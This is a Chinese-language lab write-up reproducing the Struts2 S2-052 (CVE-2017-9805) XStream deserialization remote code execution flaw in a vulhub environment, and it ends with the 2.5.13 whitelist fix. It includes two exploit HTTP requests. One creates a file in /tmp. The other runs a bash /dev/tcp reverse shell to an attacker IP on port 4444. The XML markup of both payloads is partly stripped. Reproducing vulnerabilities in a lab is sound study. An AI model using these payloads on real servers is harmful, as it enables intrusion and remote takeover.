Struts2——052(CVE-2017-9805)远程代码执行漏洞复现

一、漏洞描述:

        2017年9月5日,Apache Struts官方发布最新的安全公告称,Apache Struts 2.5.x的REST插件存在远程代码执行高危漏洞,漏洞编号为CVE-2017-9805(S2-052),受影响的版本为Struts 2.5 - Struts 2.5.12。攻击者可以通过构造恶意XML请求在目标服务器上远程执行任意代码。漏洞的成因是由于使用XStreamHandler反序列化XStream实例的时候没有执行严格的过滤导致远程代码执行。

       影响版本: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

二、环境搭建

       vulhub靶场搭建

三、漏洞复现

      启动环境后,访问`http://your-ip:8080/orders.xhtml`即可看到showcase页面。由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法,所以我们只需要修改orders.xhtml为orders.xml或修改Content-Type头为application/xml,即可在Body中传递XML数据

       Struts2——052(CVE-2017-9805)远程代码执行漏洞复现_第1张图片

      在burpsuite中抓包改包进行重放,payload如下。  

POST /orders/3/edit HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2415


  
    
      0
      
        
          
            
              
                false
                0
                
                  
                    
                    
                      
                        /usr/bin/touch
                        /tmp/shell.txt
                      
                      false
                    
                  
                  
                    
                      java.lang.ProcessBuilder
                      start
                      
                    
                    foo
                  
                  foo
                
                
              
              
              
              false
              0
              0
              false
            
            false
          
          
        
        0
      
    
    
  
  
    
    
  

      Struts2——052(CVE-2017-9805)远程代码执行漏洞复现_第2张图片

   其中字段为执行的命令,如图命令表示在/tmp下创建一个shell.txt文件。重放报错,但可以在容     器/tmp文件下发现shell.txt文件。

        Struts2——052(CVE-2017-9805)远程代码执行漏洞复现_第3张图片

       利用该漏洞反弹shell,payload如下。

POST /orders/3/edit HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2415


  
    
      0
      
        
          
            
              
                false
                0
                
                  
                    
                    
                      
                        bash
                        -c
                  bash -i >& /dev/tcp/192.168.0.162/4444 0>&1
                      
                      false
                    
                  
                  
                    
                      java.lang.ProcessBuilder
                      start
                      
                    
                    foo
                  
                  foo
                
                
              
              
              
              false
              0
              0
              false
            
            false
          
          
        
        0
      
    
    
  
  
    
    
  

    在远程命令执行过程中,由于服务器不识别&这个符号,需要编码,将&换成 &

     Struts2——052(CVE-2017-9805)远程代码执行漏洞复现_第4张图片

     在攻击机里面监听4444端口,重放,拿到shell。

     Struts2——052(CVE-2017-9805)远程代码执行漏洞复现_第5张图片

四、漏洞修复

struts2.5.13中,按照xstream给出的缓解措施( http://x-stream.github.io/security.html ),增加了反序列化时的白名单:

```java
protected void addDefaultPermissions(ActionInvocation invocation, XStream stream) {
    stream.addPermission(new ExplicitTypePermission(new Class[]{invocation.getAction().getClass()}));
    if (invocation.getAction() instanceof ModelDriven) {
        stream.addPermission(new ExplicitTypePermission(new Class[]{((ModelDriven) invocation.getAction()).getModel().getClass()}));
    }
    stream.addPermission(NullPermission.NULL);
    stream.addPermission(PrimitiveTypePermission.PRIMITIVES);
    stream.addPermission(ArrayTypePermission.ARRAYS);
    stream.addPermission(CollectionTypePermission.COLLECTIONS);
    stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));
}
五、日志

  Struts2——052(CVE-2017-9805)远程代码执行漏洞复现_第6张图片

你可能感兴趣的:(Kali)